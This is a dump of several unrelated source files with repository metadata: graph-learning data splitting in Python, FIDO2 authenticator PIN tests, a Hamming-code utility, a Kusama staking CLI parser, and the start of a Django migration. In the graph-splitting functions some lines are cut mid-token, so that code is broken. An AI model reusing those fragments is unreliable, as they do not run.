f[i,:] = (val_graph.nodes[u]['feat'].data).cpu().numpy()
val_graph.graph['feats'] = f
# num_nodes
val_graph.graph['num_nodes'] = num_nodes
# assign feats
val_graph.graph['assign_feats'] = f
val_graphs_dict[label].append(val_graph)
return train_graphs_dict, test_graphs_dict, val_graphs_dict, \
max_nodes, feat_dim, assign_feat_dim
| 35.077519 | 147 | 0.626298 | import networkx as nx
import numpy as np
import torch
import pickle
import random
from graph_sampler import GraphSampler
def prepare_val_data(graphs, args, val_idx, max_nodes=0):
random.shuffle(graphs)
val_size = len(graphs) // 10
train_graphs = graphs[:val_idx * val_size]
if val_idx < 9:
train_graphs = train_graphs + graphs[(val_idx+1) * val_size :]
val_graphs = graphs[val_idx*val_size: (val_idx+1)*val_size]
print('Num training graphs: ', len(train_graphs),
'; Num validation graphs: ', len(val_graphs))
print('Number of graphs: ', len(graphs))
print('Number of edges: ', sum([G.number_of_edges() for G in graphs]))
print('Max, avg, std of graph size: ',
max([G.number_of_nodes() for G in graphs]), ', '
"{0:.2f}".format(np.mean([G.number_of_nodes() for G in graphs])), ', '
"{0:.2f}".format(np.std([G.number_of_nodes() for G in graphs])))
dataset_sampler = GraphSampler(train_graphs, normalize=False, max_num_nodes=max_nodes,
features=args.feature_type)
train_dataset_loader = torch.utils.data.DataLoader(
dataset_sampler,
batch_size=args.batch_size,
shuffle=True,
num_workers=args.num_workers)
dataset_sampler = GraphSampler(val_graphs, normalize=False, max_num_nodes=max_nodes,
features=args.feature_type)
val_dataset_loader = torch.utils.data.DataLoader(
dataset_sampler,
batch_size=args.batch_size,
shuffle=False,
num_workers=args.num_workers)
print("feat dim")
print(dataset_sampler.feat_dim)
return train_dataset_loader, val_dataset_loader, \
dataset_sampler.max_num_nodes, dataset_sampler.feat_dim, dataset_sampler.assign_feat_dim
def split_train_val_normal(graphs, args, val_test_idx, max_nodes, feat):
raphs) // 5
train_graphs = graphs[:val_test_idx * val_test_size]
if val_test_idx < 4:
train_graphs = train_graphs + graphs[(val_test_idx+1) * val_test_size :]
val_test_graphs = graphs[val_test_idx*val_test_size: (val_test_idx+1)*val_test_size]
val_size = len(val_test_graphs) // 2
val_graphs = val_test_graphs[:val_size]
test_graphs = val_test_graphs[val_size:]
est_size = len(graphs) // 10
train_graphs = graphs[:test_idx * test_size]
if test_idx < 9:
train_graphs = train_graphs + graphs[(test_idx+1) * test_size :]
test_graphs = graphs[test_idx*test_size: (test_idx+1)*test_size]
print(len(train_graphs))
dataset_sampler = GraphSampler(train_graphs, normalize=False, max_num_nodes=max_nodes, features=args.feature_type)
train_dataset_loader = torch.utils.data.DataLoader(
dataset_sampler,
batch_size=args.batch_size,
shuffle=True,
num_workers=args.num_workers)
testset_sampler = GraphSampler(test_graphs, normalize=False, max_num_nodes=max_nodes, features=args.feature_type)
test_dataset_loader = torch.utils.data.DataLoader(
testset_sampler,
batch_size=args.batch_size,
shuffle=True,
num_workers=args.num_workers)
if args.val:
valset_sampler = GraphSampler(val_graphs, normalize=False, max_num_nodes=max_nodes, features=args.feature_type)
val_dataset_loader = torch.utils.data.DataLoader(
valset_sampler,
batch_size=args.batch_size,
shuffle=False,
num_workers=args.num_workers)
else:
val_dataset_loader = test_dataset_loader
return train_dataset_loader, test_dataset_loader, val_dataset_loader, \
dataset_sampler.max_num_nodes, dataset_sampler.feat_dim, dataset_sampler.assign_feat_dim
def split_train_val(graphs, args, val_test_idx, max_nodes, feat):
num_classes = args.num_classes
random.shuffle(graphs)
) // 5
train_graphs = graphs[:val_test_idx * val_test_size]
if val_test_idx < 4:
train_graphs = train_graphs + graphs[(val_test_idx+1) * val_test_size :]
val_test_graphs = graphs[val_test_idx*val_test_size: (val_test_idx+1)*val_test_size]
val_size = len(val_test_graphs) // 2
val_graphs = val_test_graphs[:val_size]
test_graphs = val_test_graphs[val_size:]
est_size = len(graphs) // 10
train_graphs = graphs[:test_idx * test_size]
if test_idx < 9:
train_graphs = train_graphs + graphs[(test_idx+1) * test_size :]
test_graphs = graphs[test_idx*test_size: (test_idx+1)*test_size]
train_graphs_dict = dict()
test_graphs_dict = dict()
val_graphs_dict = dict()
for i in range(num_classes):
train_graphs_dict[i] = []
test_graphs_dict[i] = []
val_graphs_dict[i] = []
node_list = list(train_graphs[0].nodes)
representative_node = node_list[0]
feat_dim = train_graphs[0].nodes[representative_node]['feat'].shape[0]
assign_feat_dim = feat_dim
for train_graph in train_graphs:
num_nodes = train_graph.number_of_nodes()
label = int(train_graph.graph['label'])
adj = np.array(nx.to_numpy_matrix(train_graph))
adj_padded = np.zeros((max_nodes, max_nodes))
adj_padded[:num_nodes, :num_nodes] = adj
train_graph.graph['adj'] = adj_padded
f = np.zeros((max_nodes, feat_dim), dtype=float)
for i,u in enumerate(train_graph.nodes()):
if args.feature_type == 'node-label':
f[i,:] = train_graph.nodes[u]['feat']
else:
f[i,:] = (train_graph.nodes[u]['feat'].data).cpu().numpy()
train_graph.graph['feats'] = f
train_graph.graph['num_nodes'] = num_nodes
train_graph.graph['assign_feats'] = f
train_graphs_dict[label].append(train_graph)
for test_graph in test_graphs:
num_nodes = test_graph.number_of_nodes()
label = int(test_graph.graph['label'])
adj = np.array(nx.to_numpy_matrix(test_graph))
adj_padded = np.zeros((max_nodes, max_nodes))
adj_padded[:num_nodes, :num_nodes] = adj
test_graph.graph['adj'] = adj_padded
f = np.zeros((max_nodes, feat_dim), dtype=float)
for i,u in enumerate(test_graph.nodes()):
if args.feature_type == 'node-label':
f[i,:] = test_graph.nodes[u]['feat']
else:
f[i,:] = (test_graph.nodes[u]['feat'].data).cpu().numpy()
test_graph.graph['feats'] = f
test_graph.graph['num_nodes'] = num_nodes
test_graph.graph['assign_feats'] = f
test_graphs_dict[label].append(test_graph)
if args.val == True:
for val_graph in val_graphs:
num_nodes = val_graph.number_of_nodes()
label = int(val_graph.graph['label'])
adj = np.array(nx.to_numpy_matrix(val_graph))
adj_padded = np.zeros((max_nodes, max_nodes))
adj_padded[:num_nodes, :num_nodes] = adj
val_graph.graph['adj'] = adj_padded
f = np.zeros((max_nodes, feat_dim), dtype=float)
for i,u in enumerate(val_graph.nodes()):
if args.feature_type == 'node-label':
f[i,:] = val_graph.nodes[u]['feat']
else:
f[i,:] = (val_graph.nodes[u]['feat'].data).cpu().numpy()
val_graph.graph['feats'] = f
val_graph.graph['num_nodes'] = num_nodes
val_graph.graph['assign_feats'] = f
val_graphs_dict[label].append(val_graph)
return train_graphs_dict, test_graphs_dict, val_graphs_dict, \
max_nodes, feat_dim, assign_feat_dim
| true | true |
f7f34dc0d477a4f33a77bb45c7fd301bef62cccc | 5,472 | py | Python | tests/standard/fido2/pin/test_pin.py | niooss-ledger/fido2-tests | 669fa9b4197679c10d0ce2e93233e923e5f3b3ef | [
"Apache-2.0",
"MIT"
] | 7 | 2020-10-17T00:56:52.000Z | 2022-02-02T08:31:09.000Z | tests/standard/fido2/pin/test_pin.py | niooss-ledger/fido2-tests | 669fa9b4197679c10d0ce2e93233e923e5f3b3ef | [
"Apache-2.0",
"MIT"
] | 1 | 2020-05-14T10:22:53.000Z | 2020-05-14T10:22:53.000Z | tests/standard/fido2/pin/test_pin.py | niooss-ledger/fido2-tests | 669fa9b4197679c10d0ce2e93233e923e5f3b3ef | [
"Apache-2.0",
"MIT"
] | 6 | 2020-02-19T12:19:08.000Z | 2022-03-19T18:34:30.000Z | import sys
import pytest
from fido2.ctap import CtapError
from fido2.ctap2 import ES256, AttestedCredentialData, PinProtocolV1
from tests.utils import *
PIN1 = "123456789A"
PIN2 = "ABCDEF"
@pytest.fixture(scope="module", params=[PIN1])
def SetPinRes(request, device):
device.reset()
pin = request.param
req = FidoRequest()
device.client.pin_protocol.set_pin(pin)
pin_token = device.client.pin_protocol.get_pin_token(pin)
pin_auth = hmac_sha256(pin_token, req.cdh)[:16]
req = FidoRequest(req, pin_protocol=1, pin_auth=pin_auth)
res = device.sendMC(*req.toMC())
setattr(res, "request", req)
setattr(res, "PIN", pin)
return res
@pytest.fixture(scope="module")
def CPRes(request, device, SetPinRes):
res = device.sendCP(1, PinProtocolV1.CMD.GET_KEY_AGREEMENT)
return res
@pytest.fixture(scope="module")
def MCPinRes(device, SetPinRes):
req = FidoRequest(SetPinRes)
res = device.sendMC(*req.toMC())
setattr(res, "request", req)
return res
@pytest.fixture(scope="class")
def GAPinRes(device, MCPinRes):
req = FidoRequest(MCPinRes)
res = device.sendGA(*req.toGA())
setattr(res, "request", req)
return res
@pytest.mark.skipif('trezor' in sys.argv, reason="ClientPin is not supported on Trezor.")
class TestPin(object):
def test_pin(self, CPRes):
pass
def test_get_key_agreement_fields(self, CPRes):
key = CPRes[1]
assert "Is public key" and key[1] == 2
assert "Is P256" and key[-1] == 1
assert "Is ALG_ECDH_ES_HKDF_256" and key[3] == -25
assert "Right key" and len(key[-3]) == 32 and isinstance(key[-3], bytes)
def test_verify_flag(self, device, SetPinRes):
reg = device.sendMC(*FidoRequest(SetPinRes).toMC())
assert reg.auth_data.flags & (1 << 2)
def test_change_pin(self, device, SetPinRes):
device.client.pin_protocol.change_pin(PIN1, PIN2)
pin_token = device.client.pin_protocol.get_pin_token(PIN2)
pin_auth = hmac_sha256(pin_token, SetPinRes.request.cdh)[:16]
SetPinRes.request.pin_token = pin_token
SetPinRes.request.pin_auth = pin_auth
SetPinRes.PIN = PIN2
reg = device.sendMC(*FidoRequest(SetPinRes).toMC())
auth = device.sendGA(
*FidoRequest(
SetPinRes,
allow_list=[
{
"type": "public-key",
"id": reg.auth_data.credential_data.credential_id,
}
],
).toGA()
)
assert reg.auth_data.flags & (1 << 2)
assert auth.auth_data.flags & (1 << 2)
verify(reg, auth, cdh=SetPinRes.request.cdh)
def test_get_no_pin_auth(self, device, SetPinRes):
reg = device.sendMC(*FidoRequest(SetPinRes).toMC())
allow_list = [
{"type": "public-key", "id": reg.auth_data.credential_data.credential_id}
]
auth = device.sendGA(
*FidoRequest(
SetPinRes, allow_list=allow_list, pin_auth=None, pin_protocol=None
).toGA()
)
assert not (auth.auth_data.flags & (1 << 2))
with pytest.raises(CtapError) as e:
reg = device.sendMC(
*FidoRequest(SetPinRes, pin_auth=None, pin_protocol=None).toMC()
)
assert e.value.code == CtapError.ERR.PIN_REQUIRED
def test_zero_length_pin_auth(self, device, SetPinRes):
with pytest.raises(CtapError) as e:
reg = device.sendMC(*FidoRequest(SetPinRes, pin_auth=b"").toMC())
assert e.value.code == CtapError.ERR.PIN_AUTH_INVALID
with pytest.raises(CtapError) as e:
reg = device.sendGA(*FidoRequest(SetPinRes, pin_auth=b"").toGA())
assert e.value.code == CtapError.ERR.PIN_AUTH_INVALID
def test_make_credential_no_pin(self, device, SetPinRes):
with pytest.raises(CtapError) as e:
reg = device.sendMC(*FidoRequest().toMC())
assert e.value.code == CtapError.ERR.PIN_REQUIRED
def test_get_assertion_no_pin(self, device, SetPinRes):
with pytest.raises(CtapError) as e:
reg = device.sendGA(*FidoRequest().toGA())
assert e.value.code == CtapError.ERR.NO_CREDENTIALS
@pytest.mark.skipif('trezor' in sys.argv, reason="ClientPin is not supported on Trezor.")
def test_pin_attempts(device, SetPinRes):
# Flip 1 bit
pin = SetPinRes.PIN
pin_wrong = list(pin)
c = pin[len(pin) // 2]
pin_wrong[len(pin) // 2] = chr(ord(c) ^ 1)
pin_wrong = "".join(pin_wrong)
for i in range(1, 3):
with pytest.raises(CtapError) as e:
device.sendPP(pin_wrong)
assert e.value.code == CtapError.ERR.PIN_INVALID
print("Check there is %d pin attempts left" % (8 - i))
res = device.ctap2.client_pin(1, PinProtocolV1.CMD.GET_RETRIES)
assert res[3] == (8 - i)
for i in range(1, 3):
with pytest.raises(CtapError) as e:
device.sendPP(pin_wrong)
assert e.value.code == CtapError.ERR.PIN_AUTH_BLOCKED
device.reboot()
SetPinRes.request.pin_token = device.client.pin_protocol.get_pin_token(pin)
SetPinRes.request.pin_auth = hmac_sha256(
SetPinRes.request.pin_token, SetPinRes.request.cdh
)[:16]
reg = device.sendMC(*FidoRequest(SetPinRes).toMC())
res = device.ctap2.client_pin(1, PinProtocolV1.CMD.GET_RETRIES)
assert res[3] == (8)
| 31.448276 | 89 | 0.633589 | import sys
import pytest
from fido2.ctap import CtapError
from fido2.ctap2 import ES256, AttestedCredentialData, PinProtocolV1
from tests.utils import *
PIN1 = "123456789A"
PIN2 = "ABCDEF"
@pytest.fixture(scope="module", params=[PIN1])
def SetPinRes(request, device):
device.reset()
pin = request.param
req = FidoRequest()
device.client.pin_protocol.set_pin(pin)
pin_token = device.client.pin_protocol.get_pin_token(pin)
pin_auth = hmac_sha256(pin_token, req.cdh)[:16]
req = FidoRequest(req, pin_protocol=1, pin_auth=pin_auth)
res = device.sendMC(*req.toMC())
setattr(res, "request", req)
setattr(res, "PIN", pin)
return res
@pytest.fixture(scope="module")
def CPRes(request, device, SetPinRes):
res = device.sendCP(1, PinProtocolV1.CMD.GET_KEY_AGREEMENT)
return res
@pytest.fixture(scope="module")
def MCPinRes(device, SetPinRes):
req = FidoRequest(SetPinRes)
res = device.sendMC(*req.toMC())
setattr(res, "request", req)
return res
@pytest.fixture(scope="class")
def GAPinRes(device, MCPinRes):
req = FidoRequest(MCPinRes)
res = device.sendGA(*req.toGA())
setattr(res, "request", req)
return res
@pytest.mark.skipif('trezor' in sys.argv, reason="ClientPin is not supported on Trezor.")
class TestPin(object):
def test_pin(self, CPRes):
pass
def test_get_key_agreement_fields(self, CPRes):
key = CPRes[1]
assert "Is public key" and key[1] == 2
assert "Is P256" and key[-1] == 1
assert "Is ALG_ECDH_ES_HKDF_256" and key[3] == -25
assert "Right key" and len(key[-3]) == 32 and isinstance(key[-3], bytes)
def test_verify_flag(self, device, SetPinRes):
reg = device.sendMC(*FidoRequest(SetPinRes).toMC())
assert reg.auth_data.flags & (1 << 2)
def test_change_pin(self, device, SetPinRes):
device.client.pin_protocol.change_pin(PIN1, PIN2)
pin_token = device.client.pin_protocol.get_pin_token(PIN2)
pin_auth = hmac_sha256(pin_token, SetPinRes.request.cdh)[:16]
SetPinRes.request.pin_token = pin_token
SetPinRes.request.pin_auth = pin_auth
SetPinRes.PIN = PIN2
reg = device.sendMC(*FidoRequest(SetPinRes).toMC())
auth = device.sendGA(
*FidoRequest(
SetPinRes,
allow_list=[
{
"type": "public-key",
"id": reg.auth_data.credential_data.credential_id,
}
],
).toGA()
)
assert reg.auth_data.flags & (1 << 2)
assert auth.auth_data.flags & (1 << 2)
verify(reg, auth, cdh=SetPinRes.request.cdh)
def test_get_no_pin_auth(self, device, SetPinRes):
reg = device.sendMC(*FidoRequest(SetPinRes).toMC())
allow_list = [
{"type": "public-key", "id": reg.auth_data.credential_data.credential_id}
]
auth = device.sendGA(
*FidoRequest(
SetPinRes, allow_list=allow_list, pin_auth=None, pin_protocol=None
).toGA()
)
assert not (auth.auth_data.flags & (1 << 2))
with pytest.raises(CtapError) as e:
reg = device.sendMC(
*FidoRequest(SetPinRes, pin_auth=None, pin_protocol=None).toMC()
)
assert e.value.code == CtapError.ERR.PIN_REQUIRED
def test_zero_length_pin_auth(self, device, SetPinRes):
with pytest.raises(CtapError) as e:
reg = device.sendMC(*FidoRequest(SetPinRes, pin_auth=b"").toMC())
assert e.value.code == CtapError.ERR.PIN_AUTH_INVALID
with pytest.raises(CtapError) as e:
reg = device.sendGA(*FidoRequest(SetPinRes, pin_auth=b"").toGA())
assert e.value.code == CtapError.ERR.PIN_AUTH_INVALID
def test_make_credential_no_pin(self, device, SetPinRes):
with pytest.raises(CtapError) as e:
reg = device.sendMC(*FidoRequest().toMC())
assert e.value.code == CtapError.ERR.PIN_REQUIRED
def test_get_assertion_no_pin(self, device, SetPinRes):
with pytest.raises(CtapError) as e:
reg = device.sendGA(*FidoRequest().toGA())
assert e.value.code == CtapError.ERR.NO_CREDENTIALS
@pytest.mark.skipif('trezor' in sys.argv, reason="ClientPin is not supported on Trezor.")
def test_pin_attempts(device, SetPinRes):
pin = SetPinRes.PIN
pin_wrong = list(pin)
c = pin[len(pin) // 2]
pin_wrong[len(pin) // 2] = chr(ord(c) ^ 1)
pin_wrong = "".join(pin_wrong)
for i in range(1, 3):
with pytest.raises(CtapError) as e:
device.sendPP(pin_wrong)
assert e.value.code == CtapError.ERR.PIN_INVALID
print("Check there is %d pin attempts left" % (8 - i))
res = device.ctap2.client_pin(1, PinProtocolV1.CMD.GET_RETRIES)
assert res[3] == (8 - i)
for i in range(1, 3):
with pytest.raises(CtapError) as e:
device.sendPP(pin_wrong)
assert e.value.code == CtapError.ERR.PIN_AUTH_BLOCKED
device.reboot()
SetPinRes.request.pin_token = device.client.pin_protocol.get_pin_token(pin)
SetPinRes.request.pin_auth = hmac_sha256(
SetPinRes.request.pin_token, SetPinRes.request.cdh
)[:16]
reg = device.sendMC(*FidoRequest(SetPinRes).toMC())
res = device.ctap2.client_pin(1, PinProtocolV1.CMD.GET_RETRIES)
assert res[3] == (8)
| true | true |
f7f34e579ae0e4505e5f90a4d858bff0be4a3a0c | 3,607 | py | Python | src/hamming_utils.py | dantrim/danny_hams_code | 11b52223d8a04cc047dd1095557c68d8a915a920 | [
"MIT"
] | 2 | 2020-12-17T00:26:39.000Z | 2020-12-19T02:08:22.000Z | src/hamming_utils.py | dantrim/danny_hams_code | 11b52223d8a04cc047dd1095557c68d8a915a920 | [
"MIT"
] | null | null | null | src/hamming_utils.py | dantrim/danny_hams_code | 11b52223d8a04cc047dd1095557c68d8a915a920 | [
"MIT"
] | null | null | null | from functools import reduce
import operator as op
def n_parity_bits_required(n_bits: int) -> int:
p = 1
while True:
lhs = 2 ** p
rhs = p + n_bits + 1
if lhs >= rhs:
break
p += 1
return p
def compute_parity_bits(binary_string: str, positions: list, inclusive: bool) -> list:
parity_bits = [0 for _ in positions]
for i, p in enumerate(positions):
mask = 1 << i
if not inclusive:
r_pos = [
x
for x in list(
filter(
lambda d: (mask & d != 0) and (mask != d),
range(len(binary_string)),
)
)
]
else:
r_pos = [
x
for x in list(
filter(lambda d: (mask & d != 0), range(len(binary_string)))
)
]
data_sel = [int(list(binary_string)[d - 1], 2) for d in r_pos]
xor = reduce(op.xor, data_sel)
if xor == 1:
parity_bits[i] = 1
return parity_bits
def encode(data: int, n_bits: int) -> str:
binary_string = bin(data)[2:]
if n_bits < len(binary_string):
print(
f"ERROR: Requested data size ({n_bits} bits) is smaller than the binary representation of the input data (={data})"
)
return -1
# pad
binary_string = f"{binary_string:0>{n_bits}}"
# parity bits are at powers of 2
n_parity_bits = n_parity_bits_required(n_bits)
parity_bit_positions = [2 ** i - 1 for i in range(n_parity_bits)]
binary_string_reversed = "".join(reversed(binary_string))
# placeholder string
seed_string = "".join(["x" for _ in range(n_parity_bits + len(binary_string))])
seed_string = list(seed_string)
data_idx = 0
for idx in range(len(seed_string)):
if idx not in parity_bit_positions:
seed_string[idx] = list(binary_string_reversed)[data_idx]
data_idx += 1
seed_string = "".join(seed_string)
# compute the values for the parity bits
parity_bits = compute_parity_bits(seed_string, parity_bit_positions, False)
# emplace the values of the parity bits in the flagged positions
parity_bit_idx = 0
encoded_string = list(seed_string)
for i, v in enumerate(encoded_string):
if v.lower() == "x":
encoded_string[i] = parity_bits[parity_bit_idx]
parity_bit_idx += 1
encoded_string = "".join(map(str, reversed(encoded_string)))
return encoded_string
def decode(binary_string: str, n_bits: int) -> str:
# binary string must not have the "0b" preceding characters
n_parity_bits = n_parity_bits_required(n_bits)
parity_bit_positions = [2 ** i - 1 for i in range(n_parity_bits)]
binary_string_reversed = "".join(reversed(list(binary_string)))
parity_bits = compute_parity_bits(
binary_string_reversed, parity_bit_positions, True
)
error_position = int("".join(reversed(list(map(str, parity_bits)))), 2)
decoded_string = list(binary_string_reversed)
if error_position > 0:
# flip the bit at the index where the error is located
decoded_string[error_position - 1] = {"0": "1", "1": "0"}[
decoded_string[error_position - 1]
]
# remove the parity bits from the decoded string to get the message data
decoded_string = [
v for i, v in enumerate(decoded_string) if i not in parity_bit_positions
]
decoded_string = "".join(reversed(decoded_string))
return decoded_string
| 31.640351 | 127 | 0.600222 | from functools import reduce
import operator as op
def n_parity_bits_required(n_bits: int) -> int:
p = 1
while True:
lhs = 2 ** p
rhs = p + n_bits + 1
if lhs >= rhs:
break
p += 1
return p
def compute_parity_bits(binary_string: str, positions: list, inclusive: bool) -> list:
parity_bits = [0 for _ in positions]
for i, p in enumerate(positions):
mask = 1 << i
if not inclusive:
r_pos = [
x
for x in list(
filter(
lambda d: (mask & d != 0) and (mask != d),
range(len(binary_string)),
)
)
]
else:
r_pos = [
x
for x in list(
filter(lambda d: (mask & d != 0), range(len(binary_string)))
)
]
data_sel = [int(list(binary_string)[d - 1], 2) for d in r_pos]
xor = reduce(op.xor, data_sel)
if xor == 1:
parity_bits[i] = 1
return parity_bits
def encode(data: int, n_bits: int) -> str:
binary_string = bin(data)[2:]
if n_bits < len(binary_string):
print(
f"ERROR: Requested data size ({n_bits} bits) is smaller than the binary representation of the input data (={data})"
)
return -1
binary_string = f"{binary_string:0>{n_bits}}"
n_parity_bits = n_parity_bits_required(n_bits)
parity_bit_positions = [2 ** i - 1 for i in range(n_parity_bits)]
binary_string_reversed = "".join(reversed(binary_string))
seed_string = "".join(["x" for _ in range(n_parity_bits + len(binary_string))])
seed_string = list(seed_string)
data_idx = 0
for idx in range(len(seed_string)):
if idx not in parity_bit_positions:
seed_string[idx] = list(binary_string_reversed)[data_idx]
data_idx += 1
seed_string = "".join(seed_string)
parity_bits = compute_parity_bits(seed_string, parity_bit_positions, False)
parity_bit_idx = 0
encoded_string = list(seed_string)
for i, v in enumerate(encoded_string):
if v.lower() == "x":
encoded_string[i] = parity_bits[parity_bit_idx]
parity_bit_idx += 1
encoded_string = "".join(map(str, reversed(encoded_string)))
return encoded_string
def decode(binary_string: str, n_bits: int) -> str:
n_parity_bits = n_parity_bits_required(n_bits)
parity_bit_positions = [2 ** i - 1 for i in range(n_parity_bits)]
binary_string_reversed = "".join(reversed(list(binary_string)))
parity_bits = compute_parity_bits(
binary_string_reversed, parity_bit_positions, True
)
error_position = int("".join(reversed(list(map(str, parity_bits)))), 2)
decoded_string = list(binary_string_reversed)
if error_position > 0:
decoded_string[error_position - 1] = {"0": "1", "1": "0"}[
decoded_string[error_position - 1]
]
decoded_string = [
v for i, v in enumerate(decoded_string) if i not in parity_bit_positions
]
decoded_string = "".join(reversed(decoded_string))
return decoded_string
| true | true |
f7f34ebf28eb14da5dcd8ef2ea11803aeedc9b4d | 5,016 | py | Python | code_src/staking/polkadotAndKusama/ksm/arg_parser/ksmNominatorArgParser.py | luizcarvalhohen/staking_manager | ad672cf980631fc5cb050c62d034a14ada49d96b | [
"MIT"
] | 3 | 2021-11-06T20:46:06.000Z | 2021-11-24T06:33:40.000Z | code_src/staking/polkadotAndKusama/ksm/arg_parser/ksmNominatorArgParser.py | luizcarvalhohen/staking_manager | ad672cf980631fc5cb050c62d034a14ada49d96b | [
"MIT"
] | 5 | 2021-11-16T04:46:30.000Z | 2021-12-28T22:05:39.000Z | code_src/staking/polkadotAndKusama/ksm/arg_parser/ksmNominatorArgParser.py | luizcarvalhohen/staking_manager | ad672cf980631fc5cb050c62d034a14ada49d96b | [
"MIT"
] | 2 | 2021-11-07T22:03:16.000Z | 2021-11-23T22:04:36.000Z | from code_src.staking.polkadotAndKusama.fxn_decorator_implementations.substrateCallImplementation import SubstrateCall
from common import MyHelpFormatter
from code_src.staking.polkadotAndKusama.argparserUtil import actionMnemonic, actionValidatorAddress, actionHelp, \
subcommand, \
actionTest, actionNumberOfTokens
from config import kusamaActiveConfig
from examples import exampleNominator, exampleNominate, exampleUnominateTmp, exampleUnominateAll
def ksmNominatorArgParser(parser_parent):
# nominator parent parser
nominatorParser = parser_parent.add_parser(name="nominator", help="""nomination interface to KSM.""",
add_help=False, epilog=exampleNominator,
formatter_class=MyHelpFormatter)
nominatorSubParser = nominatorParser.add_subparsers(help='')
# nominate
"""
{'call_name': 'nominate',
'call_args': [{'name': 'targets', 'type': 155, 'typeName': 'Vec<<T::Lookup as StaticLookup>::Source>', 'docs': []}],
'documentation': "Declare the desire to nominate `targets` for the origin controller.
Effects will be felt at the beginning of the next era.
The dispatch origin for this call must be _Signed_ by the controller, not the stash.
# <weight>
- The transaction's complexity is proportional to the size of `targets` (N)
which is capped at CompactAssignments::LIMIT (MAX_NOMINATIONS).
- Both the reads and writes follow a similar pattern.
# </weight>",
'module_prefix': 'Staking', 'module_name': 'Staking', 'spec_version': 9122}
:return:
"""
@subcommand(parent=nominatorSubParser, subHelp=exampleNominate, reqArgs=[actionMnemonic()],
optArgs=[actionValidatorAddress(kusamaActiveConfig), actionHelp()])
def nominate(args):
@SubstrateCall(config=kusamaActiveConfig, cli_name="Nominator", call_module="Staking",
call_params={'targets': args.validator_address},
seed=args.mnemonic)
def nominate():
pass
# chill
# https://githubhelp.com/polkascan/py-scale-codec
# Stakers can be in any one of the three states: validating, nominating, or chilling. When a staker wants to
# temporarily pause their active engagement in staking but does not want to unbond their funds, they can choose
# to "chill" their involvement and keep their funds staked.
# so in fact to totally unstacked all the coin you need to chill and then unbound
# https://wiki.polkadot.network/docs/maintain-guides-how-to-chill
"""
Declare no desire to either validate or nominate.
Effects will be felt at the beginning of the next era.
The dispatch origin for this call must be _Signed_ by the controller, not the stash.
# <weight>
- Independent of the arguments. Insignificant complexity.
- Contains one read.
- Writes are limited to the `origin` account key.
# </weight>"
"""
@subcommand(parent=nominatorSubParser, subHelp=exampleUnominateTmp, reqArgs=[actionMnemonic()],
optArgs=[actionTest()])
def stop_nominate_tmp(args):
@SubstrateCall(config=kusamaActiveConfig, cli_name="Nominator", call_module="Staking", call_params={},
seed=args.mnemonic)
def chill():
pass
# chill + unbond
"""
Declare a `controller` to stop participating as either a validator or nominator.
Effects will be felt at the beginning of the next era.
The dispatch origin for this call must be _Signed_, but can be called by anyone.
If the caller is the same as the controller being targeted, then no further checks are enforced, and this function
behaves just like `chill`.
If the caller is different than the controller being targeted, the following conditions must be met:
* A `ChillThreshold` must be set and checked which defines how close to the max
nominators or validators we must reach before users can start chilling one-another.
* A `MaxNominatorCount` and `MaxValidatorCount` must be set which is used to determine
how close we are to the threshold.
* A `MinNominatorBond` and `MinValidatorBond` must be set and checked, which determines if this is a person that
should be chilled because they have not met the threshold bond required.
This can be helpful if bond requirements are updated, and we need to remove old users who do not satisfy these
requirements.
"""
@subcommand(parent=nominatorSubParser, subHelp=exampleUnominateAll,
reqArgs=[actionMnemonic(), actionNumberOfTokens()],
optArgs=[actionTest()])
def stop_nominate_all(args):
@SubstrateCall(config=kusamaActiveConfig, cli_name="Nominator", call_module="Staking",
call_params={'value': args.number_of_tokens},
seed=args.mnemonic)
def stop_nominate_all():
pass
return nominatorParser
| 51.71134 | 120 | 0.696372 | from code_src.staking.polkadotAndKusama.fxn_decorator_implementations.substrateCallImplementation import SubstrateCall
from common import MyHelpFormatter
from code_src.staking.polkadotAndKusama.argparserUtil import actionMnemonic, actionValidatorAddress, actionHelp, \
subcommand, \
actionTest, actionNumberOfTokens
from config import kusamaActiveConfig
from examples import exampleNominator, exampleNominate, exampleUnominateTmp, exampleUnominateAll
def ksmNominatorArgParser(parser_parent):
nominatorParser = parser_parent.add_parser(name="nominator", help="""nomination interface to KSM.""",
add_help=False, epilog=exampleNominator,
formatter_class=MyHelpFormatter)
nominatorSubParser = nominatorParser.add_subparsers(help='')
@subcommand(parent=nominatorSubParser, subHelp=exampleNominate, reqArgs=[actionMnemonic()],
optArgs=[actionValidatorAddress(kusamaActiveConfig), actionHelp()])
def nominate(args):
@SubstrateCall(config=kusamaActiveConfig, cli_name="Nominator", call_module="Staking",
call_params={'targets': args.validator_address},
seed=args.mnemonic)
def nominate():
pass
@subcommand(parent=nominatorSubParser, subHelp=exampleUnominateTmp, reqArgs=[actionMnemonic()],
optArgs=[actionTest()])
def stop_nominate_tmp(args):
@SubstrateCall(config=kusamaActiveConfig, cli_name="Nominator", call_module="Staking", call_params={},
seed=args.mnemonic)
def chill():
pass
@subcommand(parent=nominatorSubParser, subHelp=exampleUnominateAll,
reqArgs=[actionMnemonic(), actionNumberOfTokens()],
optArgs=[actionTest()])
def stop_nominate_all(args):
@SubstrateCall(config=kusamaActiveConfig, cli_name="Nominator", call_module="Staking",
call_params={'value': args.number_of_tokens},
seed=args.mnemonic)
def stop_nominate_all():
pass
return nominatorParser
| true | true |
f7f34f2eac4c24fa83b82b389043e23f546e8392 | 486 | py | Python | lessons/migrations/0004_flashcard_is_bordered.py | keeperaft/personalaltwebsite | b8ad2679c2809c316e8f746ffe1b302460f336be | [
"MIT"
] | null | null | null | lessons/migrations/0004_flashcard_is_bordered.py | keeperaft/personalaltwebsite | b8ad2679c2809c316e8f746ffe1b302460f336be | [
"MIT"
] | 2 | 2020-06-05T20:35:57.000Z | 2021-06-10T21:24:24.000Z | lessons/migrations/0004_flashcard_is_bordered.py | keeperaft/personalaltwebsite | b8ad2679c2809c316e8f746ffe1b302460f336be | [
"MIT"
] | 1 | 2019-04-10T02:03:35.000Z | 2019-04-10T02:03:35.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.11.6 on 2018-05-05 17:07
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('lessons', '0003_flashcardlesson_is_link_to_existing_flashcard'),
]
operations = [
migrations.AddField(
model_name='flashcard',
name='is_bordered',
field=models.BooleanField(default=True),
),
]
| 23.142857 | 74 | 0.644033 |
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('lessons', '0003_flashcardlesson_is_link_to_existing_flashcard'),
]
operations = [
migrations.AddField(
model_name='flashcard',
name='is_bordered',
